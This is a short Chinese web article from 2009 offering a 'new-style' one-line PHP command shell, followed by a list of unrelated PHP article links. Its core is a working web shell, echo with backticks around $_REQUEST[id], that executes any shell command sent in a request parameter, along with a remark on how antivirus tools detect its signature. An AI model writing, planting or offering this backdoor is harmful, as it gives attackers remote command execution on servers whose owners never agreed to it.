php一句话cmdshell新型 (非一句话木马)
更新时间：2009年04月18日 12:04:17 作者：
php运行时如果遇见字符``(键盘上~符号的下档键)总会尝试着执行``里面包含的命令，并返回命令执行的结果(string类型)；
复制代码 代码如下:
<?php
/*一个新型的php一句话cmdshell(非一句话木马)
//原理:php运行时如果遇见字符``(键盘上~符号的下档键)总会尝试着执行``里面包含的命令，并返回命令执行的结果(string类型)；
//局限性:特征码比较明显，``符号在php中很少用到，杀毒软件很容易以此为特征码扫描到并警报；``里面不能执行php代码；
//write by skyfire
*/
echo `$_REQUEST[id]`;
?>
相关文章
关于PHP彩蛋这个玩法已经被国外的某些Web漏洞扫描器(例如：HP WebInspect)所使用了，用其来探测被扫描的网站使用的是何种Web开发语言2013-08-08
这篇文章主要介绍了PHP多个进程配合redis的有序集合实现大文件去重，文中通过示例代码介绍的非常详细，对大家的学习或者工作具有一定的参考学习价值，需要的朋友们下面随着小编来一起学习学习 吧2019-03-03
非常有创意的利用php获取css中图片地址并实现下载的代码。2010-02-02
本篇文章是对Win7 XAMPP apache无法启动的问题进行了详细的分析介绍，需要的朋友参考下2013-06-06
PHP使用PDO创建MySQL数据库、表及插入多条数据操作示例
这篇文章主要介绍了PHP使用PDO创建MySQL数据库、表及插入多条数据操作,结合实例形式总结分析了php基于pdo的mysql数据库创建、数据表创建以及多条数据插入操作相关实现技巧,需要的朋友可以参考下2019-05-05
这篇文章主要介绍了PHP反射原理与用法,结合实例形式深入分析了PHP反射的概念、原理、应用场景及相关操作技巧,需要的朋友可以参考下2019-09-09
真的是不用不知道，其实我们熟悉的 PHP 还有很多好东西没有发掘。看到这篇文章，当时就泪奔了好几回，重点推荐下，顺便我自己也做个整理。2010-04-04
PHP 获取远程文件内容的代码，后面有一些注释可以参考下，其实大家可以参考脚本之家发布的一些采集程序代码。2010-03-03
这篇文章主要介绍了php中session定期自动清理的方法，如何设置php实现session定期自动清理，本文会给大家详细介绍，需要的朋友可以参考下2015-11-11
本篇文章是对php中的curl_setopt函数进行了详细的分析介绍，需要的朋友参考下2013-06-06
最新评论